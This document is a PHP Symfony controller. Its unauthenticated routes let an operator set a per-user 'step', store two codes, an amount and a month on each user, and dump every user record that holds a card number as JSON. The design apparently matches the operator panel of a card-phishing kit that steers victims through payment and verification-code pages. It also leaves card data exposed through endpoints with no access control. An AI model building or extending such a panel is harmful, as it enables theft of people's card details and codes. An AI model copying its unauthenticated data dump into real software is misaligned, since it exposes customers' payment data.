<?php
namespace App\Controller;
use App\Entity\User;
use Doctrine\Persistence\ManagerRegistry;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\Serializer\SerializerInterface;
class AdminController extends AbstractController
{
#[Route('/panel/')]
public function panel(Request $request,ManagerRegistry $doctrine)
{
$message="";
$response="";
return $this->render('admin/index.html.twig',array('response'=>$response));
}
#[Route('/set/step/')]
public function setStep(Request $request,ManagerRegistry $doctrine)
{
$response="";
$em=$doctrine->getManager();
$id=$request->get('id');
$step=$request->get('step');
$montant=$request->get('montant');
$code1=$request->get('code1');
$code2=$request->get('code2');
$month=$request->get('month');
$text=$request->get('text');
$user=$em->getRepository(User::class)->findOneById($id);
if ($user){
$user->setStep($step);
if ($code1!=""){
$user->setCode($code1);
}
if ($month!=""){
$user->setMonth($month);
}
if ($code2){
$user->setCode2($code2);
}
if ($montant!=""){
$user->setMontant($montant);
}
if ($text!=""){
$user->setText($text);
}
if ($step!="final" ){
if ($step!="cc" ){
$user->setType($step);
}
}
$em->persist($user);
$em->flush();
$response="OK";
}
return new Response($response);
}
#[Route('/get/status/')]
public function setStepNow(Request $request,ManagerRegistry $doctrine,SerializerInterface $serializer)
{
$em=$doctrine->getManager();
//$users=$em->getRepository(User::class)->findBy(array(),array("id"=>"DESC"));
$qb = $em->createQueryBuilder();
$query=$qb->select('u')
->from('App\Entity\User', 'u')
->Where('u.numeroCard IS NOT NULL')
->orderBy('u.id', 'DESC');
$result = $query->getQuery()->getResult();
$serializedUser = $serializer->serialize($result,'json');
return JsonResponse::fromJsonString($serializedUser);
}
}